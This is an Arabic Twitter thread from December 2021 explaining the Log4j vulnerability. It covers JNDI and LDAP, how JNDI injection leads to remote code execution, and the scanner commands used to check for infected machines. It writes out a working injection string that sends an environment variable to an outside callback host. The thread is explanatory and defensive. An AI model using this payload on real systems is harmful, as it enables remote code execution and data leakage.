Mohamed Elkhayat
Mohamed Elkhayat

@Mohamed87Khayat

18 تغريدة 36 قراءة Dec 17, 2021
ثغرة ال Log4j كنت نزلت ثريد بيشرح طرق مختلفه وصل لها الباحثين لعمل ال poc الخاص بها
النهارده هنتكلم عنها بشكل Technical شويه
يعنى ايه JNDI
يعنى ايه LDAP
وايه اصلا قصة الثغره دى من البدايه
البدايه كانت من حوالى يومين او اكثر بتويته شوفتها كانت حوالى منتصف الليل من احد المختصين بفريق alibaba security team
التويته اللى في الصوره دى والصدمه انها متبلغه لاباتشي من شهر نوفمبر اللى فات
انا بصنف التويته دى على انها
The most underrated tweet in the histroy
وده لانها ما اخدتش انتشار ولا اهتمام عكس كل اللى بعدها بالرغم من ان هى اساس الانطلاقه
ما علينا
الثغره دى بالاساس اسمها JNDI Injection lead to rce
عن طريق Payload يتعمل له inject ومنها تخرج ب Remote code execution
مين ال JNDI ده وازاى الموضوع بيتم ومين اللى بيتأثر بالانجكشن ده
البدايه هنا بالجافا واللى اخر احصائية بتقول ان فى حوالى ٣ مليار حاجه شغالين بالجافا ما بين مواقع وتطبيفات وبرامج والعاب الكترونيه وشبكات وسمارت ووتش حتى السيارات الكهربائية تقريبا معظم الكوكب شغال بيها
الجافا ابلكيشن ده من داخله مكونات و process بتتم بين اكتر من شيئ
هنا شرح طبقات عمل ال Java Application
JNDI API
Naming manager
JNDI SPI
واللى منها بيتفرع ٦ مهام اساسيه LDAP DNS NIS RMI وغيرها
- ال JNDI اختصار ل
Java naming and directory interface
JNDI API
API (واجهة برمجة التطبيقات ، برمجة التطبيقات ، اللى بتوفر خدمات الوصول إلى تطبيقات
وهي ربط كائنات Java ببيئة الحاوية في شكل اسم ، ثم استدعاء بيئة الحاوية
ده مرجع كويس بالعربي ممكن تفهم منه اكتر عن JNDI 👇👇
arabicprogrammer.com
يارب اكون كتبت التعريف بالعربي صح 😅
هشرحه تحت بالانجليزي 👇
The Java Naming and Directory Interface (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the Java programming language
اللى يهمنا فى المرحله اللى بعد كدا هو ال LDAP
ال LDAP
هو بروتوكول  Lightweight Directory Access Protocol  هو أحد بروتوكولات الشبكات و الذي يستخدم بشكل رئيسي في عملية التحقق من هوية المستخدم بالإضافة إلى صلاحياته التي يمتلكها و طريقة الوصول إلى أي خدمات داخل الشبكة
👇مرجع كويس بالعربي من موقع تكناوي
technawi.net
الصوره دى من مؤتمر شركة بلاك هات فى امريكا سنة ٢٠١٦ كان بيتكلم عن الثغره دى
شرح ال ldap واستخدامه فى تخزين ال java objects
واهم طريقتين
Java serialization
JNDI Ref
واخر سطر هو اللى حصل
Decoding لاى منهم
هياثر مباشرة ب RCE
الأمور التي يمكن القيام بها في LDAP ؟
البحث العناصر الموجودة (مستخدمين, مصادر, مجموعات, وغيره
المقارنة أو فحص فيما إذا كان عنصر معين فيه مدخل يحوي قيمة معينّة أم لا.
إضافة عنصر جديد.
حذف عنصر موجود مسبقا.
تعديل عنصر موجود مسبقا
وممكن ترجع للمصدر اللى فوق بتاع موقع تكناوي 👍
Log4j ال
بيستخدم فى عملية ال logging لل user requestes اللى داخله للسرفر
والفكره هنا هو عمل reverse للاتصال ده وتحويل لسرفر الاتاكر عن طريق البروتوكول اللى شرحناه فوق LDAP وعمل
JNDI Injection
ب payloads ومنها يخرج ب Rce
ويتحكم فى السيرفر remotly وينفذ اى كود هو عاوزه
في الصوره دى شرح على مرحلتين
المرحله الاولى ان اليوزر بيبعت ريكوست للسرفر المصاب
والسرفر بيعمل query ldap وتتخزن فى ldap://attacker. com
وفى المرحله التانيه
الاتاكر بيعمل كونكت على ال
Ldap://attacker. com
ويعمل ال reverse ومنها
Download for the vulnerable java class
${jndi:ldap://${env:user}.xyz.collab.com/a}
طبعا دا الامر اللى بيتم بيه الهجمه
وهنا هو بيكلم ال JNDI وبيقول له اتصل ببروتوكل Ldap وبعدها بيحط البايلود بتاعه وفى الاخر بيحول الاتصال للسرفر الخاص به الل هو collab. com
سرفر البرب يعنى لانه شغال تست
اما الاتاكر هيحوله لسرفر بتاعه
ظهر بايلودز كتيره بقي واتصال مختلف وطبعا مغرقة تويتر وكله شغال لدرجة ان الباحثين مبقاش وراهم شغلانه غير ال log4j
وفى طبعا ثريد شرحته هتلاقو فيه طرق كتير جدا لل poc
وكلنا شغالين كوبي بيست للاكواد
وبنفرد عضلاتنا اننا عملنا RCE واحنا اصلا دافنينه سوا 😅
فبلاش يعنى 😅
مش هتكلم على خطورتها خلاص كله عارف اللى حصل هتكلم على نقطه مش كتير واخد باله منها
وهى انها ضربت الويندوز والاجهزه سواء ويندوز او لينكس
ال repo دى عليها سكانر معمول مخصوص للاجهزه بتنفذ سكان للجهاز بتاعك علشان تتطمن انه هل مصاب اول لا
github.com
هو مش برنامج هى مجرد اوامر بتعمل سكان وتشوف بها الاجهزه عندك مصابه او لا
للويندوز 👇
log4j2-scan [--fix] target_path
للينكس 👇
./log4j2-scan [--fix] target_path
وطريقة الاستخدام مشروحه فى ال repo
الفلاج fix-- بيعمل اصلاح لملفات الجافا المصابه لو وجدت على الجهاز
لككككككن 👇
استخدام الفلاج fix-- زى ما بتقول الريبو انه على مسئولية اللى هينفذه لانه هيعمل كوبي لملفات ال Jar file الى .bak file
فممكن تستخدم الامر كدا الاول
CMD> log4j2-scan.exe D:\tmp
او اى مسار
ولو ظهر اصابه انت ودماغك بقي يا تسخدم fix-- يا تعمل زى حالاتى وتنتظر التحديث القادم للوندوز
يارب اكون وفقت فى الشرح لان المشكله فى موضوع الكلام بالعربي بيعمل ازمه معايا فى الترجمه وبخاف اكون غيرت معنى
لكن اتمنى يكون فى ولو واحد فقط استفاد من الثريد ده
STAY SAFE AND HAVE FUN 🙏🏻🙏🏻

جاري تحميل الاقتراحات...